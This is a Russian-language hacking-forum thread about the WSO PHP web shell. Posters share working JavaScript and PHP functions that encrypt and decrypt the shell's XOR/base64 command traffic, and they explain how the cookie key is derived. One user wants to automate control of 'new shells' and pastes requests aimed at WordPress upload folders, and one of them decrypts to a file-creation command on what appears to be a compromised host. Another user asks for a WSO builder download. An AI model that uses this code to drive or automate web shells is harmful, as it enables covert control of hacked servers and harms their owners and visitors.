WSO (веб-шелл)

Discussion in 'Избранное' started by oRb, 26 Jan 2009.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,423
    Likes Received:
    820
    Reputations:
    851
    Живой!!! но в других темах...

    P.S: Сами патчити!
     
    _________________________
  2. I_I

    I_I Member

    Joined:
    22 Nov 2013
    Messages:
    63
    Likes Received:
    5
    Reputations:
    1
  3. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    533
    Likes Received:
    825
    Reputations:
    31
    Вот функция разшифровки:
    Code:
    function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
    А вот шифрование
    Code:
    function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
        function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
        function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
        function set(a,c,p1,p2,p3,charset) {
    Тоесть ключ для шифрования передаётся как печенька с именем 'md5($_SERVER['HTTP_HOST'])."key"' и значением md5($_SERVER['HTTP_USER_AGENT']). В самом шифрование и данные и ключ кодируются в base64, и делается XOR ключа с данными. Шифр снова кодируется в base64.
     
    VulturRe likes this.
  4. VulturRe

    VulturRe Member

    Joined:
    9 Dec 2010
    Messages:
    59
    Likes Received:
    6
    Reputations:
    0
    а зачем такая заморочка при автоматизации работы с новыми шелами?

    560c6f5b685947113ec71a03d59277fb 21232f297a57a5a743894a0e4a801fc3 /wp-content/uploads/2020/04/1/
    560c6f5b685947113ec71a03d59277fbkey bc5bf2385512f2fbb9c7481bce116923 /wp-content/uploads/2020/04/
    560c6f5b685947113ec71a03d59277fb 188162e90b88271030885b3bd7cfd523 /wp-content/uploads/2020/04/

    a=CwAhQgM1FywvSF5CLSN4RA%3D%3D&
    c=FV8lRzs6DA8sLR9dLGY9ETstHxs6JR9cOz0PWhd2Llk7ZSIOKWcYQRRYdEg9KhtEPS5gSC49H0cXAxcDFhADGhQHCEMUPjJGAhd%2BVA%3D%3D&
    p1=PSobAQM1CxUBFCVeLRV4RA%3D%3D&p2=Ozo5XDg6IRU%3D&
    p3=&
    charset=UTF-8

    вот первые строки с куками и данные которые шифруются как понять ключ в куках?
     
    #544 VulturRe, 28 Apr 2020
    Last edited: 28 Apr 2020
  5. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    533
    Likes Received:
    825
    Reputations:
    31
    Ключ в куках : 560c6f5b685947113ec71a03d59277fbkey имеет значение bc5bf2385512f2fbb9c7481bce116923.
    Вот вам функция расшифровке в JS
    Code:
    function decrypt(cipher,pwd){ 
    key = btoa(pwd); 
    console.log("Key="+key+" length="+key.length); 
    str_cipher = atob(unescape(cipher)); 
    console.log("Encrypted string = "+str_cipher+" length="+str_cipher.length); 
    enc_chr = ""; 
    enc_str=""; 
    i=0; 
    while(i<str_cipher.length){
        for(let j=0;j<key.length; j++){
            console.log("i="+i+" j="+j+" str_cipher["+i+"]="+str_cipher[i]+"="+(str_cipher[i]).charCodeAt(0)+" key["+j+"]="+key[j]+"="+(key[j]).charCodeAt(0));
            enc_chr = String.fromCharCode((str_cipher[i]).charCodeAt(0)^(key[j]).charCodeAt(0)); 
            enc_str += enc_chr; 
            i++; 
            if(i+1 > str_cipher.length){
                console.log("True");break;
            }
       }
    }
    return atob(enc_str);
    }
    
    тоесть что-бы расшифровать значение а, передаёте
    Code:
    decrypt("CwAhQgM1FywvSF5CLSN4RA%3D%3D","bc5bf2385512f2fbb9c7481bce116923")
    и получаете "FilesTools".
    а = "FilesTools"
    c="/home/ileolahe/public_html/wp-content/uploads/2020/04/1/"
    p1="tetete.php"
    p2="mkfile"
     
    VulturRe likes this.
  6. VulturRe

    VulturRe Member

    Joined:
    9 Dec 2010
    Messages:
    59
    Likes Received:
    6
    Reputations:
    0
    Спасибо большое. а кодирование данных если есть и не трудно опишите пожалуйста. JS начал разбирать чтоб переписать под свой язык. вашу функцию декодирования вроде разберу а кодирование бы еще.
     
  7. fandor9

    fandor9 Reservists Of Antichat

    Joined:
    16 Nov 2018
    Messages:
    533
    Likes Received:
    825
    Reputations:
    31
    так функция encrypt вот.
     
  8. polzunki

    polzunki New Member

    Joined:
    28 Jul 2020
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Доброго всем. В одном из сообщении выше, давали ссылку на wso билдер.
    Code:
    http://kronus.me/cn/wso-builder/1.04/
    Сайт лёг. У кого остался скрипт, просьба поделиться.